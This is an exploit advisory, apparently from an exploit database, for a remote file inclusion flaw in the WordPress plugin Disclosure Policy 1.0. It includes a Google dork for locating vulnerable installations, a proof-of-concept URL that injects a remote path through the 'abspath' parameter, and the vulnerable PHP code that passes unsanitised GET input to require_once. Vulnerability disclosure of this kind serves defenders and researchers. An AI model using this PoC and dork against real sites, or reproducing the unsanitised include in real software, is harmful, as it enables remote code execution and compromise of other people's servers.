WordPress Plugin Disclosure Policy 1.0 - Remote File Inclusion

# Exploit Title: Disclosure Policy Plugin Wordpress plugin RFI
# Google Dork: inurl:wp-content/plugins/disclosure-policy-plugin
# Date: 09/19/2011
# Author: Ben Schmidt (supernothing (AT) spareclockcycles.org @_supernothing)
# Software Link: http://wordpress.org/extend/plugins/disclosure-policy-plugin/download/
# Version: 1.0 (tested)

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PoC
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http://SERVER/WP_PATH/wp-content/plugins/disclosure-policy-plugin/functions/action.php?delete=asdf&blogUrl=asdf&abspath=RFI

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Vulnerable Code
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if(isset($_GET['delete']))
{
   global $wpdb, $wp_rewrite, $allowedtags, $user_ID;
        $table_prefix1 = "dpp_";

        $tags_ID = (int) $_GET['id'];
    $abspath = $_GET['abspath'];
        $blogUrl = $_GET['blog_url'];
    require_once($abspath . '/wp-config.php')